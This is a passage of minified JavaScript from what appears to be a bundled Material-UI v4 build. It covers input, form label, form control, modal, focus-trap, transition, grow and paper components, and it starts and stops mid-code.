De=i.forwardRef((function(e,t){var n=e.disableUnderline,a=e.classes,l=e.fullWidth,c=void 0!==l&&l,u=e.inputComponent,d=void 0===u?"input":u,p=e.multiline,f=void 0!==p&&p,h=e.type,m=void 0===h?"text":h,v=(0,o.A)(e,["disableUnderline","classes","fullWidth","inputComponent","multiline","type"]);return i.createElement(je,(0,r.A)({classes:(0,r.A)({},a,{root:(0,s.A)(a.root,!n&&a.underline),underline:null}),fullWidth:c,inputComponent:d,multiline:f,ref:t,type:m},v))}));De.muiName="Input";const Fe=we((function(e){var t="light"===e.palette.type,n=t?"rgba(0, 0, 0, 0.42)":"rgba(255, 255, 255, 0.7)",r=t?"rgba(0, 0, 0, 0.09)":"rgba(255, 255, 255, 0.09)";return{root:{position:"relative",backgroundColor:r,borderTopLeftRadius:e.shape.borderRadius,borderTopRightRadius:e.shape.borderRadius,transition:e.transitions.create("background-color",{duration:e.transitions.duration.shorter,easing:e.transitions.easing.easeOut}),"&:hover":{backgroundColor:t?"rgba(0, 0, 0, 0.13)":"rgba(255, 255, 255, 0.13)","@media (hover: none)":{backgroundColor:r}},"&$focused":{backgroundColor:t?"rgba(0, 0, 0, 0.09)":"rgba(255, 255, 255, 0.09)"},"&$disabled":{backgroundColor:t?"rgba(0, 0, 0, 0.12)":"rgba(255, 255, 255, 0.12)"}},colorSecondary:{"&$underline:after":{borderBottomColor:e.palette.secondary.main}},underline:{"&:after":{borderBottom:"2px solid ".concat(e.palette.primary.main),left:0,bottom:0,content:'""',position:"absolute",right:0,transform:"scaleX(0)",transition:e.transitions.create("transform",{duration:e.transitions.duration.shorter,easing:e.transitions.easing.easeOut}),pointerEvents:"none"},"&$focused:after":{transform:"scaleX(1)"},"&$error:after":{borderBottomColor:e.palette.error.main,transform:"scaleX(1)"},"&:before":{borderBottom:"1px solid ".concat(n),left:0,bottom:0,content:'"\\00a0"',position:"absolute",right:0,transition:e.transitions.create("border-bottom-color",{duration:e.transitions.duration.shorter}),pointerEvents:"none"},"&:hover:before":{borderBottom:"1px solid ".concat(e.palette.text.primary)},"&$disabled:before":{borderBottomStyle:"dotted"}},focused:{},disabled:{},adornedStart:{paddingLeft:12},adornedEnd:{paddingRight:12},error:{},marginDense:{},multiline:{padding:"27px 12px 10px","&$marginDense":{paddingTop:23,paddingBottom:6}},input:{padding:"27px 12px 10px","&:-webkit-autofill":{WebkitBoxShadow:"light"===e.palette.type?null:"0 0 0 100px #266798 inset",WebkitTextFillColor:"light"===e.palette.type?null:"#fff",caretColor:"light"===e.palette.type?null:"#fff",borderTopLeftRadius:"inherit",borderTopRightRadius:"inherit"}},inputMarginDense:{paddingTop:23,paddingBottom:6},inputHiddenLabel:{paddingTop:18,paddingBottom:19,"&$inputMarginDense":{paddingTop:10,paddingBottom:11}},inputMultiline:{padding:0},inputAdornedStart:{paddingLeft:0},inputAdornedEnd:{paddingRight:0}}}),{name:"MuiFilledInput"})(De);function We(){return(0,v.A)()||Ae}var _e=i.forwardRef((function(e,t){e.children;var n=e.classes,a=e.className,l=e.label,c=e.labelWidth,u=e.notched,d=e.style,p=(0,o.A)(e,["children","classes","className","label","labelWidth","notched","style"]),f="rtl"===We().direction?"right":"left";if(void 0!==l)return i.createElement("fieldset",(0,r.A)({"aria-hidden":!0,className:(0,s.A)(n.root,a),ref:t,style:d},p),i.createElement("legend",{className:(0,s.A)(n.legendLabelled,u&&n.legendNotched)},l?i.createElement("span",null,l):i.createElement("span",{dangerouslySetInnerHTML:{__html:"&#8203;"}})));var h=c>0?.75*c+8:.01;return i.createElement("fieldset",(0,r.A)({"aria-hidden":!0,style:(0,r.A)((0,b.A)({},"padding".concat(ke(f)),8),d),className:(0,s.A)(n.root,a),ref:t},p),i.createElement("legend",{className:n.legend,style:{width:u?h:.01}},i.createElement("span",{dangerouslySetInnerHTML:{__html:"&#8203;"}})))}));const Be=we((function(e){return{root:{position:"absolute",bottom:0,right:0,top:-5,left:0,margin:0,padding:"0 8px",pointerEvents:"none",borderRadius:"inherit",borderStyle:"solid",borderWidth:1,overflow:"hidden"},legend:{textAlign:"left",padding:0,lineHeight:"11px",transition:e.transitions.create("width",{duration:150,easing:e.transitions.easing.easeOut})},legendLabelled:{display:"block",width:"auto",textAlign:"left",padding:0,height:11,fontSize:"0.75em",visibility:"hidden",maxWidth:.01,transition:e.transitions.create("max-width",{duration:50,easing:e.transitions.easing.easeOut}),"& > span":{paddingLeft:5,paddingRight:5,display:"inline-block"}},legendNotched:{maxWidth:1e3,transition:e.transitions.create("max-width",{duration:100,easing:e.transitions.easing.easeOut,delay:50})}}}),{name:"PrivateNotchedOutline"})(_e);var Ve=i.forwardRef((function(e,t){var n=e.classes,a=e.fullWidth,l=void 0!==a&&a,c=e.inputComponent,u=void 0===c?"input":c,d=e.label,p=e.labelWidth,f=void 0===p?0:p,h=e.multiline,m=void 0!==h&&h,v=e.notched,g=e.type,y=void 0===g?"text":g,b=(0,o.A)(e,["classes","fullWidth","inputComponent","label","labelWidth","multiline","notched","type"]);return i.createElement(je,(0,r.A)({renderSuffix:function(e){return i.createElement(Be,{className:n.notchedOutline,label:d,labelWidth:f,notched:void 0!==v?v:Boolean(e.startAdornment||e.filled||e.focused)})},classes:(0,r.A)({},n,{root:(0,s.A)(n.root,n.underline),notchedOutline:null}),fullWidth:l,inputComponent:u,multiline:m,ref:t,type:y},b))}));Ve.muiName="Input";const He=we((function(e){var t="light"===e.palette.type?"rgba(0, 0, 0, 0.23)":"rgba(255, 255, 255, 0.23)";return{root:{position:"relative",borderRadius:e.shape.borderRadius,"&:hover $notchedOutline":{borderColor:e.palette.text.primary},"@media (hover: none)":{"&:hover $notchedOutline":{borderColor:t}},"&$focused $notchedOutline":{borderColor:e.palette.primary.main,borderWidth:2},"&$error $notchedOutline":{borderColor:e.palette.error.main},"&$disabled $notchedOutline":{borderColor:e.palette.action.disabled}},colorSecondary:{"&$focused $notchedOutline":{borderColor:e.palette.secondary.main}},focused:{},disabled:{},adornedStart:{paddingLeft:14},adornedEnd:{paddingRight:14},error:{},marginDense:{},multiline:{padding:"18.5px 14px","&$marginDense":{paddingTop:10.5,paddingBottom:10.5}},notchedOutline:{borderColor:t},input:{padding:"18.5px 14px","&:-webkit-autofill":{WebkitBoxShadow:"light"===e.palette.type?null:"0 0 0 100px #266798 inset",WebkitTextFillColor:"light"===e.palette.type?null:"#fff",caretColor:"light"===e.palette.type?null:"#fff",borderRadius:"inherit"}},inputMarginDense:{paddingTop:10.5,paddingBottom:10.5},inputMultiline:{padding:0},inputAdornedStart:{paddingLeft:0},inputAdornedEnd:{paddingRight:0}}}),{name:"MuiOutlinedInput"})(Ve);function qe(){return i.useContext(d)}var Ke=i.forwardRef((function(e,t){var n=e.children,a=e.classes,l=e.className,u=(e.color,e.component),d=void 0===u?"label":u,p=(e.disabled,e.error,e.filled,e.focused,e.required,(0,o.A)(e,["children","classes","className","color","component","disabled","error","filled","focused","required"])),f=c({props:e,muiFormControl:qe(),states:["color","required","focused","disabled","error","filled"]});return i.createElement(d,(0,r.A)({className:(0,s.A)(a.root,a["color".concat(ke(f.color||"primary"))],l,f.disabled&&a.disabled,f.error&&a.error,f.filled&&a.filled,f.focused&&a.focused,f.required&&a.required),ref:t},p),n,f.required&&i.createElement("span",{"aria-hidden":!0,className:(0,s.A)(a.asterisk,f.error&&a.error)}," ","*"))}));const Ue=we((function(e){return{root:(0,r.A)({color:e.palette.text.secondary},e.typography.body1,{lineHeight:1,padding:0,"&$focused":{color:e.palette.primary.main},"&$disabled":{color:e.palette.text.disabled},"&$error":{color:e.palette.error.main}}),colorSecondary:{"&$focused":{color:e.palette.secondary.main}},focused:{},disabled:{},error:{},filled:{},required:{},asterisk:{"&$error":{color:e.palette.error.main}}}}),{name:"MuiFormLabel"})(Ke);var Xe=i.forwardRef((function(e,t){var n=e.classes,a=e.className,l=e.disableAnimation,u=void 0!==l&&l,d=(e.margin,e.shrink),p=(e.variant,(0,o.A)(e,["classes","className","disableAnimation","margin","shrink","variant"])),f=qe(),h=d;void 0===h&&f&&(h=f.filled||f.focused||f.adornedStart);var m=c({props:e,muiFormControl:f,states:["margin","variant"]});return i.createElement(Ue,(0,r.A)({"data-shrink":h,className:(0,s.A)(n.root,a,f&&n.formControl,!u&&n.animated,h&&n.shrink,"dense"===m.margin&&n.marginDense,{filled:n.filled,outlined:n.outlined}[m.variant]),classes:{focused:n.focused,disabled:n.disabled,error:n.error,required:n.required,asterisk:n.asterisk},ref:t},p))}));const Ge=we((function(e){return{root:{display:"block",transformOrigin:"top left"},focused:{},disabled:{},error:{},required:{},asterisk:{},formControl:{position:"absolute",left:0,top:0,transform:"translate(0, 24px) scale(1)"},marginDense:{transform:"translate(0, 21px) scale(1)"},shrink:{transform:"translate(0, 1.5px) scale(0.75)",transformOrigin:"top left"},animated:{transition:e.transitions.create(["color","transform"],{duration:e.transitions.duration.shorter,easing:e.transitions.easing.easeOut})},filled:{zIndex:1,pointerEvents:"none",transform:"translate(12px, 20px) scale(1)","&$marginDense":{transform:"translate(12px, 17px) scale(1)"},"&$shrink":{transform:"translate(12px, 10px) scale(0.75)","&$marginDense":{transform:"translate(12px, 7px) scale(0.75)"}}},outlined:{zIndex:1,pointerEvents:"none",transform:"translate(14px, 20px) scale(1)","&$marginDense":{transform:"translate(14px, 12px) scale(1)"},"&$shrink":{transform:"translate(14px, -6px) scale(0.75)"}}}}),{name:"MuiInputLabel"})(Xe);function Ye(e,t){return i.isValidElement(e)&&-1!==t.indexOf(e.type.muiName)}var Je=i.forwardRef((function(e,t){var n=e.children,a=e.classes,l=e.className,c=e.color,u=void 0===c?"primary":c,p=e.component,f=void 0===p?"div":p,h=e.disabled,m=void 0!==h&&h,v=e.error,g=void 0!==v&&v,y=e.fullWidth,b=void 0!==y&&y,x=e.focused,A=e.hiddenLabel,w=void 0!==A&&A,k=e.margin,S=void 0===k?"none":k,C=e.required,E=void 0!==C&&C,O=e.size,R=e.variant,P=void 0===R?"standard":R,$=(0,o.A)(e,["children","classes","className","color","component","disabled","error","fullWidth","focused","hiddenLabel","margin","required","size","variant"]),M=i.useState((function(){var e=!1;return n&&i.Children.forEach(n,(function(t){if(Ye(t,["Input","Select"])){var n=Ye(t,["Select"])?t.props.input:t;n&&n.props.startAdornment&&(e=!0)}})),e})),T=M[0],I=M[1],N=i.useState((function(){var e=!1;return n&&i.Children.forEach(n,(function(t){Ye(t,["Input","Select"])&&Te(t.props,!0)&&(e=!0)})),e})),j=N[0],L=N[1],z=i.useState(!1),D=z[0],F=z[1],W=void 0!==x?x:D;m&&W&&F(!1);var _=i.useCallback((function(){L(!0)}),[]),B={adornedStart:T,setAdornedStart:I,color:u,disabled:m,error:g,filled:j,focused:W,fullWidth:b,hiddenLabel:w,margin:("small"===O?"dense":void 0)||S,onBlur:function(){F(!1)},onEmpty:i.useCallback((function(){L(!1)}),[]),onFilled:_,onFocus:function(){F(!0)},registerEffect:void 0,required:E,variant:P};return i.createElement(d.Provider,{value:B},i.createElement(f,(0,r.A)({className:(0,s.A)(a.root,l,"none"!==S&&a["margin".concat(ke(S))],b&&a.fullWidth),ref:t},$),n))}));const Ze=we({root:{display:"inline-flex",flexDirection:"column",position:"relative",minWidth:0,padding:0,margin:0,border:0,verticalAlign:"top"},marginNormal:{marginTop:16,marginBottom:8},marginDense:{marginTop:8,marginBottom:4},fullWidth:{width:"100%"}},{name:"MuiFormControl"})(Je);var Qe=i.forwardRef((function(e,t){var n=e.children,a=e.classes,l=e.className,u=e.component,d=void 0===u?"p":u,p=(e.disabled,e.error,e.filled,e.focused,e.margin,e.required,e.variant,(0,o.A)(e,["children","classes","className","component","disabled","error","filled","focused","margin","required","variant"])),f=c({props:e,muiFormControl:qe(),states:["variant","margin","disabled","error","filled","focused","required"]});return i.createElement(d,(0,r.A)({className:(0,s.A)(a.root,("filled"===f.variant||"outlined"===f.variant)&&a.contained,l,f.disabled&&a.disabled,f.error&&a.error,f.filled&&a.filled,f.focused&&a.focused,f.required&&a.required,"dense"===f.margin&&a.marginDense),ref:t},p)," "===n?i.createElement("span",{dangerouslySetInnerHTML:{__html:"&#8203;"}}):n)}));const et=we((function(e){return{root:(0,r.A)({color:e.palette.text.secondary},e.typography.caption,{textAlign:"left",marginTop:3,margin:0,"&$disabled":{color:e.palette.text.disabled},"&$error":{color:e.palette.error.main}}),error:{},disabled:{},marginDense:{marginTop:4},contained:{marginLeft:14,marginRight:14},focused:{},filled:{},required:{}}}),{name:"MuiFormHelperText"})(Qe);var tt=n(3043);function nt(e){return e&&e.ownerDocument||document}n(4363);var rt=n(5795),ot=n.n(rt);function it(e){return nt(e).defaultView||window}function at(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return t.reduce((function(e,t){return null==t?e:function(){for(var n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];e.apply(this,r),t.apply(this,r)}}),(function(){}))}var st="undefined"!=typeof window?i.useLayoutEffect:i.useEffect;const lt=i.forwardRef((function(e,t){var n=e.children,r=e.container,o=e.disablePortal,a=void 0!==o&&o,s=e.onRendered,l=i.useState(null),c=l[0],u=l[1],d=Ce(i.isValidElement(n)?n.ref:null,t);return st((function(){a||u(function(e){return e="function"==typeof e?e():e,rt.findDOMNode(e)}(r)||document.body)}),[r,a]),st((function(){if(c&&!a)return Se(t,c),function(){Se(t,null)}}),[t,c,a]),st((function(){s&&(c||a)&&s()}),[s,c,a]),a?i.isValidElement(n)?i.cloneElement(n,{ref:d}):n:c?rt.createPortal(n,c):c}));var ct="undefined"!=typeof window?i.useLayoutEffect:i.useEffect;function ut(e){var t=i.useRef(e);return ct((function(){t.current=e})),i.useCallback((function(){return t.current.apply(void 0,arguments)}),[])}var dt=n(3029),pt=n(2901),ft=n(5458);function ht(){var e=document.createElement("div");e.style.width="99px",e.style.height="99px",e.style.position="absolute",e.style.top="-9999px",e.style.overflow="scroll",document.body.appendChild(e);var t=e.offsetWidth-e.clientWidth;return document.body.removeChild(e),t}function mt(e,t){t?e.setAttribute("aria-hidden","true"):e.removeAttribute("aria-hidden")}function vt(e){return parseInt(window.getComputedStyle(e)["padding-right"],10)||0}function gt(e,t,n){var r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[],o=arguments.length>4?arguments[4]:void 0,i=[t,n].concat((0,ft.A)(r)),a=["TEMPLATE","SCRIPT","STYLE"];[].forEach.call(e.children,(function(e){1===e.nodeType&&-1===i.indexOf(e)&&-1===a.indexOf(e.tagName)&&mt(e,o)}))}function yt(e,t){var n=-1;return e.some((function(e,r){return!!t(e)&&(n=r,!0)})),n}var bt=function(){function e(){(0,dt.A)(this,e),this.modals=[],this.containers=[]}return(0,pt.A)(e,[{key:"add",value:function(e,t){var n=this.modals.indexOf(e);if(-1!==n)return n;n=this.modals.length,this.modals.push(e),e.modalRef&&mt(e.modalRef,!1);var r=function(e){var t=[];return[].forEach.call(e.children,(function(e){e.getAttribute&&"true"===e.getAttribute("aria-hidden")&&t.push(e)})),t}(t);gt(t,e.mountNode,e.modalRef,r,!0);var o=yt(this.containers,(function(e){return e.container===t}));return-1!==o?(this.containers[o].modals.push(e),n):(this.containers.push({modals:[e],container:t,restore:null,hiddenSiblingNodes:r}),n)}},{key:"mount",value:function(e,t){var n=yt(this.containers,(function(t){return-1!==t.modals.indexOf(e)})),r=this.containers[n];r.restore||(r.restore=function(e,t){var n,r=[],o=[],i=e.container;if(!t.disableScrollLock){if(function(e){var t=nt(e);return t.body===e?it(t).innerWidth>t.documentElement.clientWidth:e.scrollHeight>e.clientHeight}(i)){var a=ht();r.push({value:i.style.paddingRight,key:"padding-right",el:i}),i.style["padding-right"]="".concat(vt(i)+a,"px"),n=nt(i).querySelectorAll(".mui-fixed"),[].forEach.call(n,(function(e){o.push(e.style.paddingRight),e.style.paddingRight="".concat(vt(e)+a,"px")}))}var s=i.parentElement,l="HTML"===s.nodeName&&"scroll"===window.getComputedStyle(s)["overflow-y"]?s:i;r.push({value:l.style.overflow,key:"overflow",el:l}),l.style.overflow="hidden"}return function(){n&&[].forEach.call(n,(function(e,t){o[t]?e.style.paddingRight=o[t]:e.style.removeProperty("padding-right")})),r.forEach((function(e){var t=e.value,n=e.el,r=e.key;t?n.style.setProperty(r,t):n.style.removeProperty(r)}))}}(r,t))}},{key:"remove",value:function(e){var t=this.modals.indexOf(e);if(-1===t)return t;var n=yt(this.containers,(function(t){return-1!==t.modals.indexOf(e)})),r=this.containers[n];if(r.modals.splice(r.modals.indexOf(e),1),this.modals.splice(t,1),0===r.modals.length)r.restore&&r.restore(),e.modalRef&&mt(e.modalRef,!0),gt(r.container,e.mountNode,e.modalRef,r.hiddenSiblingNodes,!1),this.containers.splice(n,1);else{var o=r.modals[r.modals.length-1];o.modalRef&&mt(o.modalRef,!1)}return t}},{key:"isTopModal",value:function(e){return this.modals.length>0&&this.modals[this.modals.length-1]===e}}]),e}();const xt=function(e){var t=e.children,n=e.disableAutoFocus,r=void 0!==n&&n,o=e.disableEnforceFocus,a=void 0!==o&&o,s=e.disableRestoreFocus,l=void 0!==s&&s,c=e.getDoc,u=e.isEnabled,d=e.open,p=i.useRef(),f=i.useRef(null),h=i.useRef(null),m=i.useRef(),v=i.useRef(null),g=i.useCallback((function(e){v.current=rt.findDOMNode(e)}),[]),y=Ce(t.ref,g),b=i.useRef();return i.useEffect((function(){b.current=d}),[d]),!b.current&&d&&"undefined"!=typeof window&&(m.current=c().activeElement),i.useEffect((function(){if(d){var e=nt(v.current);r||!v.current||v.current.contains(e.activeElement)||(v.current.hasAttribute("tabIndex")||v.current.setAttribute("tabIndex",-1),v.current.focus());var t=function(){null!==v.current&&(e.hasFocus()&&!a&&u()&&!p.current?v.current&&!v.current.contains(e.activeElement)&&v.current.focus():p.current=!1)},n=function(t){!a&&u()&&9===t.keyCode&&e.activeElement===v.current&&(p.current=!0,t.shiftKey?h.current.focus():f.current.focus())};e.addEventListener("focus",t,!0),e.addEventListener("keydown",n,!0);var o=setInterval((function(){t()}),50);return function(){clearInterval(o),e.removeEventListener("focus",t,!0),e.removeEventListener("keydown",n,!0),l||(m.current&&m.current.focus&&m.current.focus(),m.current=null)}}}),[r,a,l,u,d]),i.createElement(i.Fragment,null,i.createElement("div",{tabIndex:0,ref:f,"data-test":"sentinelStart"}),i.cloneElement(t,{ref:y}),i.createElement("div",{tabIndex:0,ref:h,"data-test":"sentinelEnd"}))};var At={root:{zIndex:-1,position:"fixed",right:0,bottom:0,top:0,left:0,backgroundColor:"rgba(0, 0, 0, 0.5)",WebkitTapHighlightColor:"transparent"},invisible:{backgroundColor:"transparent"}};const wt=i.forwardRef((function(e,t){var n=e.invisible,a=void 0!==n&&n,s=e.open,l=(0,o.A)(e,["invisible","open"]);return s?i.createElement("div",(0,r.A)({"aria-hidden":!0,ref:t},l,{style:(0,r.A)({},At.root,a?At.invisible:{},l.style)})):null}));var kt=new bt;const St=i.forwardRef((function(e,t){var n=(0,v.A)(),a=m({name:"MuiModal",props:(0,r.A)({},e),theme:n}),s=a.BackdropComponent,l=void 0===s?wt:s,c=a.BackdropProps,u=a.children,d=a.closeAfterTransition,p=void 0!==d&&d,f=a.container,h=a.disableAutoFocus,g=void 0!==h&&h,y=a.disableBackdropClick,b=void 0!==y&&y,x=a.disableEnforceFocus,A=void 0!==x&&x,w=a.disableEscapeKeyDown,k=void 0!==w&&w,S=a.disablePortal,C=void 0!==S&&S,E=a.disableRestoreFocus,O=void 0!==E&&E,R=a.disableScrollLock,P=void 0!==R&&R,$=a.hideBackdrop,M=void 0!==$&&$,T=a.keepMounted,I=void 0!==T&&T,N=a.manager,j=void 0===N?kt:N,L=a.onBackdropClick,z=a.onClose,D=a.onEscapeKeyDown,F=a.onRendered,W=a.open,_=(0,o.A)(a,["BackdropComponent","BackdropProps","children","closeAfterTransition","container","disableAutoFocus","disableBackdropClick","disableEnforceFocus","disableEscapeKeyDown","disablePortal","disableRestoreFocus","disableScrollLock","hideBackdrop","keepMounted","manager","onBackdropClick","onClose","onEscapeKeyDown","onRendered","open"]),B=i.useState(!0),V=B[0],H=B[1],q=i.useRef({}),K=i.useRef(null),U=i.useRef(null),X=Ce(U,t),G=function(e){return!!e.children&&e.children.props.hasOwnProperty("in")}(a),Y=function(){return nt(K.current)},J=function(){return q.current.modalRef=U.current,q.current.mountNode=K.current,q.current},Z=function(){j.mount(J(),{disableScrollLock:P}),U.current.scrollTop=0},Q=ut((function(){var e=function(e){return e="function"==typeof e?e():e,rt.findDOMNode(e)}(f)||Y().body;j.add(J(),e),U.current&&Z()})),ee=i.useCallback((function(){return j.isTopModal(J())}),[j]),te=ut((function(e){K.current=e,e&&(F&&F(),W&&ee()?Z():mt(U.current,!0))})),ne=i.useCallback((function(){j.remove(J())}),[j]);if(i.useEffect((function(){return function(){ne()}}),[ne]),i.useEffect((function(){W?Q():G&&p||ne()}),[W,ne,G,p,Q]),!I&&!W&&(!G||V))return null;var re=function(e){return{root:{position:"fixed",zIndex:e.zIndex.modal,right:0,bottom:0,top:0,left:0},hidden:{visibility:"hidden"}}}(n||{zIndex:xe}),oe={};return void 0===u.props.tabIndex&&(oe.tabIndex=u.props.tabIndex||"-1"),G&&(oe.onEnter=at((function(){H(!1)}),u.props.onEnter),oe.onExited=at((function(){H(!0),p&&ne()}),u.props.onExited)),i.createElement(lt,{ref:te,container:f,disablePortal:C},i.createElement("div",(0,r.A)({ref:X,onKeyDown:function(e){"Escape"===e.key&&ee()&&(D&&D(e),k||(e.stopPropagation(),z&&z(e,"escapeKeyDown")))},role:"presentation"},_,{style:(0,r.A)({},re.root,!W&&V?re.hidden:{},_.style)}),M?null:i.createElement(l,(0,r.A)({open:W,onClick:function(e){e.target===e.currentTarget&&(L&&L(e),!b&&z&&z(e,"backdropClick"))}},c)),i.createElement(xt,{disableEnforceFocus:A,disableAutoFocus:g,disableRestoreFocus:O,getDoc:Y,isEnabled:ee,open:W},i.cloneElement(u,oe))))}));var Ct=n(8587),Et=n(7387);var Ot=n(7241),Rt="unmounted",Pt="exited",$t="entering",Mt="entered",Tt="exiting",It=function(e){function t(t,n){var r;r=e.call(this,t,n)||this;var o,i=n&&!n.isMounting?t.enter:t.appear;return r.appearStatus=null,t.in?i?(o=Pt,r.appearStatus=$t):o=Mt:o=t.unmountOnExit||t.mountOnEnter?Rt:Pt,r.state={status:o},r.nextCallback=null,r}(0,Et.A)(t,e),t.getDerivedStateFromProps=function(e,t){return e.in&&t.status===Rt?{status:Pt}:null};var n=t.prototype;return n.componentDidMount=function(){this.updateStatus(!0,this.appearStatus)},n.componentDidUpdate=function(e){var t=null;if(e!==this.props){var n=this.state.status;this.props.in?n!==$t&&n!==Mt&&(t=$t):n!==$t&&n!==Mt||(t=Tt)}this.updateStatus(!1,t)},n.componentWillUnmount=function(){this.cancelNextCallback()},n.getTimeouts=function(){var e,t,n,r=this.props.timeout;return e=t=n=r,null!=r&&"number"!=typeof r&&(e=r.exit,t=r.enter,n=void 0!==r.appear?r.appear:t),{exit:e,enter:t,appear:n}},n.updateStatus=function(e,t){if(void 0===e&&(e=!1),null!==t)if(this.cancelNextCallback(),t===$t){if(this.props.unmountOnExit||this.props.mountOnEnter){var n=this.props.nodeRef?this.props.nodeRef.current:ot().findDOMNode(this);n&&function(e){e.scrollTop}(n)}this.performEnter(e)}else this.performExit();else this.props.unmountOnExit&&this.state.status===Pt&&this.setState({status:Rt})},n.performEnter=function(e){var t=this,n=this.props.enter,r=this.context?this.context.isMounting:e,o=this.props.nodeRef?[r]:[ot().findDOMNode(this),r],i=o[0],a=o[1],s=this.getTimeouts(),l=r?s.appear:s.enter;e||n?(this.props.onEnter(i,a),this.safeSetState({status:$t},(function(){t.props.onEntering(i,a),t.onTransitionEnd(l,(function(){t.safeSetState({status:Mt},(function(){t.props.onEntered(i,a)}))}))}))):this.safeSetState({status:Mt},(function(){t.props.onEntered(i)}))},n.performExit=function(){var e=this,t=this.props.exit,n=this.getTimeouts(),r=this.props.nodeRef?void 0:ot().findDOMNode(this);t?(this.props.onExit(r),this.safeSetState({status:Tt},(function(){e.props.onExiting(r),e.onTransitionEnd(n.exit,(function(){e.safeSetState({status:Pt},(function(){e.props.onExited(r)}))}))}))):this.safeSetState({status:Pt},(function(){e.props.onExited(r)}))},n.cancelNextCallback=function(){null!==this.nextCallback&&(this.nextCallback.cancel(),this.nextCallback=null)},n.safeSetState=function(e,t){t=this.setNextCallback(t),this.setState(e,t)},n.setNextCallback=function(e){var t=this,n=!0;return this.nextCallback=function(r){n&&(n=!1,t.nextCallback=null,e(r))},this.nextCallback.cancel=function(){n=!1},this.nextCallback},n.onTransitionEnd=function(e,t){this.setNextCallback(t);var n=this.props.nodeRef?this.props.nodeRef.current:ot().findDOMNode(this),r=null==e&&!this.props.addEndListener;if(n&&!r){if(this.props.addEndListener){var o=this.props.nodeRef?[this.nextCallback]:[n,this.nextCallback],i=o[0],a=o[1];this.props.addEndListener(i,a)}null!=e&&setTimeout(this.nextCallback,e)}else setTimeout(this.nextCallback,0)},n.render=function(){var e=this.state.status;if(e===Rt)return null;var t=this.props,n=t.children,r=(t.in,t.mountOnEnter,t.unmountOnExit,t.appear,t.enter,t.exit,t.timeout,t.addEndListener,t.onEnter,t.onEntering,t.onEntered,t.onExit,t.onExiting,t.onExited,t.nodeRef,(0,Ct.A)(t,["children","in","mountOnEnter","unmountOnExit","appear","enter","exit","timeout","addEndListener","onEnter","onEntering","onEntered","onExit","onExiting","onExited","nodeRef"]));return a().createElement(Ot.A.Provider,{value:null},"function"==typeof n?n(e,r):a().cloneElement(a().Children.only(n),r))},t}(a().Component);function Nt(){}It.contextType=Ot.A,It.propTypes={},It.defaultProps={in:!1,mountOnEnter:!1,unmountOnExit:!1,appear:!1,enter:!0,exit:!0,onEnter:Nt,onEntering:Nt,onEntered:Nt,onExit:Nt,onExiting:Nt,onExited:Nt},It.UNMOUNTED=Rt,It.EXITED=Pt,It.ENTERING=$t,It.ENTERED=Mt,It.EXITING=Tt;const jt=It;function Lt(e,t){var n=e.timeout,r=e.style,o=void 0===r?{}:r;return{duration:o.transitionDuration||"number"==typeof n?n:n[t.mode]||0,delay:o.transitionDelay}}function zt(e){return"scale(".concat(e,", ").concat(Math.pow(e,2),")")}var Dt={entering:{opacity:1,transform:zt(1)},entered:{opacity:1,transform:"none"}},Ft=i.forwardRef((function(e,t){var n=e.children,a=e.disableStrictModeCompat,s=void 0!==a&&a,l=e.in,c=e.onEnter,u=e.onEntered,d=e.onEntering,p=e.onExit,f=e.onExited,h=e.onExiting,m=e.style,v=e.timeout,g=void 0===v?"auto":v,y=e.TransitionComponent,b=void 0===y?jt:y,x=(0,o.A)(e,["children","disableStrictModeCompat","in","onEnter","onEntered","onEntering","onExit","onExited","onExiting","style","timeout","TransitionComponent"]),A=i.useRef(),w=i.useRef(),k=We(),S=k.unstable_strictMode&&!s,C=i.useRef(null),E=Ce(n.ref,t),O=Ce(S?C:void 0,E),R=function(e){return function(t,n){if(e){var r=S?[C.current,t]:[t,n],o=(0,ne.A)(r,2),i=o[0],a=o[1];void 0===a?e(i):e(i,a)}}},P=R(d),$=R((function(e,t){!function(e){e.scrollTop}(e);var n,r=Lt({style:m,timeout:g},{mode:"enter"}),o=r.duration,i=r.delay;"auto"===g?(n=k.transitions.getAutoHeightDuration(e.clientHeight),w.current=n):n=o,e.style.transition=[k.transitions.create("opacity",{duration:n,delay:i}),k.transitions.create("transform",{duration:.666*n,delay:i})].join(","),c&&c(e,t)})),M=R(u),T=R(h),I=R((function(e){var t,n=Lt({style:m,timeout:g},{mode:"exit"}),r=n.duration,o=n.delay;"auto"===g?(t=k.transitions.getAutoHeightDuration(e.clientHeight),w.current=t):t=r,e.style.transition=[k.transitions.create("opacity",{duration:t,delay:o}),k.transitions.create("transform",{duration:.666*t,delay:o||.333*t})].join(","),e.style.opacity="0",e.style.transform=zt(.75),p&&p(e)})),N=R(f);return i.useEffect((function(){return function(){clearTimeout(A.current)}}),[]),i.createElement(b,(0,r.A)({appear:!0,in:l,nodeRef:S?C:void 0,onEnter:$,onEntered:M,onEntering:P,onExit:I,onExited:N,onExiting:T,addEndListener:function(e,t){var n=S?e:t;"auto"===g&&(A.current=setTimeout(n,w.current||0))},timeout:"auto"===g?null:g},x),(function(e,t){return i.cloneElement(n,(0,r.A)({style:(0,r.A)({opacity:0,transform:zt(.75),visibility:"exited"!==e||l?void 0:"hidden"},Dt[e],m,n.props.style),ref:O},t))}))}));Ft.muiSupportAuto=!0;const Wt=Ft;var _t=i.forwardRef((function(e,t){var n=e.classes,a=e.className,l=e.component,c=void 0===l?"div":l,u=e.square,d=void 0!==u&&u,p=e.elevation,f=void 0===p?1:p,h=e.variant,m=void 0===h?"elevation":h,v=(0,o.A)(e,["classes","className","component","square","elevation","variant"]);return i.createElement(c,(0,r.A)({className:(0,s.A)(n.root,a,"outlined"===m?n.outlined:n["elevation".concat(f)],!d&&n.rounded),ref:t},v))}));const Bt=we((function(e){var t={};return e.shadows.forEach((function(e,n){t["elevation".concat(n)]={boxShadow:e}})),(0,r.A)({root:{backgroundColor:e.palette.background.paper,color:e.palette.text.primary,transition:e.transitions.create("box-shadow")},rounded:{borderRadius:e.shape.borderRadius},outlined:{border:"1px solid ".concat(e.palette.divider)}},t)}),{name:"MuiPaper"})(_t);function Vt(e,t){var n=0;return"number"==typeof t?n=t:"center"===t?n=e.height/2:"bottom"===t&&(n=e.height),n}function Ht(e,t){var n=0;return"number"==typeof t?n=t:"center"===t?n=e.width/2:"right"===t&&(n=e.width),n}function qt(e){return[e.horizontal,e.vertical].map((function(e){return"number"==typeof e?"".concat(e,"px"):e})).join(" ")}function Kt(e){return"function"==typeof e?e():e}var 